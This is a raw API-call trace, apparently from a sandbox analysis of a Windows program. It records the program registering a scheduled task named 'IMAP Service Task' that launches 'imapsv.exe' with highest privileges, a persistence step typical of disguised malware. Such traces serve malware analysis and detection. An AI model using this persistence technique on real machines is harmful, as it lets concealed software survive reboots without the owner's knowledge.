GetFileSizeEx (in: hFile=0x108, lpFileSize=0x29c7f0 | out: lpFileSize=0x29c7f0*=1309) returned 1 [0180.773] ReadFile (in: hFile=0x108, lpBuffer=0x29c7f8, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x29c800, lpOverlapped=0x0 | out: lpBuffer=0x29c7f8*, lpNumberOfBytesRead=0x29c800*=0x2, lpOverlapped=0x0) returned 1 [0180.774] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.774] ReadFile (in: hFile=0x108, lpBuffer=0x4e2690, nNumberOfBytesToRead=0x51e, lpNumberOfBytesRead=0x29c800, lpOverlapped=0x0 | out: lpBuffer=0x4e2690*, lpNumberOfBytesRead=0x29c800*=0x51d, lpOverlapped=0x0) returned 1 [0180.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4e2690, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1310 [0180.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4e2690, cbMultiByte=-1, lpWideCharStr=0x3153d4, cchWideChar=1310 | out: lpWideCharStr="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 1310 [0180.774] SysStringLen (param_1="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 0x51d [0180.774] VarBstrCat (in: bstrLeft=0x0, bstrRight="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n", pbstrResult=0x29c7a0 | out: pbstrResult=0x29c7a0) returned 0x0 [0180.774] CloseHandle (hObject=0x108) returned 1 [0180.774] lstrlenW (lpString="") returned 0 [0180.774] SysStringLen (param_1="") returned 0x0 [0180.774] lstrlenW (lpString="") returned 0 [0180.774] ITaskFolder:RegisterTask (in: This=0x4e3df0, Path="IMAP Service Task", XmlText="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n", flags=6, UserId=0x29c7dc*(varType=0x8, wReserved1=0x0, wReserved2=0x4110, wReserved3=0x31, varVal1="", varVal2=0x314110), password=0x29c7ec*(varType=0x0, wReserved1=0x31, wReserved2=0x0, wReserved3=0x0, varVal1=0x29c874, varVal2=0x775e7526), LogonType=0, sddl=0x29c800*(varType=0x0, wReserved1=0x31, wReserved2=0x4110, wReserved3=0x31, varVal1=0x0, varVal2=0x0), ppTask=0x29c860 | out: ppTask=0x29c860*=0x4e3e60) returned 0x0 [0182.417] _memicmp (_Buf1=0x304b90, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0182.417] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3065f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0182.417] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0182.417] _vsnwprintf (in: _Buffer=0x29c86c, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x29c810 | out: _Buffer="SUCCESS: The scheduled task \"IMAP Service Task\" has successfully been created.\n") returned 79 [0182.417] _fileno (_File=0x76712920) returned 1 [0182.417] _errno () returned 0x4e07d8 [0182.417] _get_osfhandle (_FileHandle=1) returned 0x7 [0182.417] _errno () returned 0x4e07d8 [0182.417] GetFileType (hFile=0x7) returned 0x2 [0182.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0182.417] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x29c7d4 | out: lpMode=0x29c7d4) returned 1 [0182.418] __iob_func () returned 0x76712900 [0182.418] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0182.418] lstrlenW (lpString="SUCCESS: The scheduled task \"IMAP Service Task\" has successfully been created.\n") returned 79 [0182.418] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x29c86c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x29c7fc, lpReserved=0x0 | out: lpBuffer=0x29c86c*, lpNumberOfCharsWritten=0x29c7fc*=0x4f) returned 1 [0182.418] IUnknown:Release (This=0x4e3e60) returned 0x0 [0182.418] IUnknown:Release (This=0x4e3df0) returned 0x0 [0182.418] TaskScheduler:IUnknown:Release (This=0x4e3d88) returned 0x1 [0182.418] lstrlenW (lpString="") returned 0 [0182.418] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59 [0182.418] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0182.422] exit (_Code=0) Thread: id = 27 os_tid = 0xb90